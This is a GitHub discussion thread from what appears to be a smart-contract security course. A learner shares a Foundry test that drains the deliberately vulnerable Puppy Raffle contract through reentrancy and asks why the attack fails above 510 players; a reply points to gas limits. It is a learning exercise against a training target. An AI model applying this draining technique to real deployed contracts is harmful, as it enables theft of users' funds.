Section 4 Puppy Raffle: Reentrancy attack failing beyond a certain threshold size of players #66
-
I wanted to reproduce the reentrancy attack and play around with it, so I wrote my own contract, which can be found here The ReEntrancy works till the number of players is 510. From 511 onwards it throws an error. I'm trying to understand why that's the case. Here's // test to check ReEntrancy. Works, sort of.
function testHackRaffle() public {
// players entering the raffle
uint256 playersNum = 510;
address[] memory players = new address[](playersNum);
for (uint256 i = 0; i < playersNum; i++) {
players[i] = address(i);
}
puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
console.log("Total number of players before Reentrancy: ", players.length);
// ReEntrancy Begins
uint256 startingRaffleBalance = address(puppyRaffle).balance;
console.log("Raffle contract balance before Reentrancy: ", startingRaffleBalance);
HackRaffle hackRaffle = new HackRaffle{value: entranceFee}(address(puppyRaffle));
hackRaffle.enter();
hackRaffle.hackRefund();
uint256 endingRaffleBalance = address(puppyRaffle).balance;
console.log("Raffle contract balance after Reentrancy: ", endingRaffleBalance);
// assert(address(puppyRaffle).balance < entranceFee);
assert(endingRaffleBalance == 0);
// assert((startingRaffleBalance - endingRaffleBalance) > entranceFee);
} ![]() ![]() ![]() Would love any insight into why there's a threshold, and why the number 510. Thank you! |
Beta Was this translation helpful? Give feedback.
Answered by
TilakMaddy
Jan 3, 2024
Replies: 1 comment 3 replies
-
The below line in your contract prevents transactions above a certain gas limit.
|
Beta Was this translation helpful? Give feedback.
3 replies
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
no, i meant that
sendValue
itself won't send the money if the gas price is too high (even if gas is available)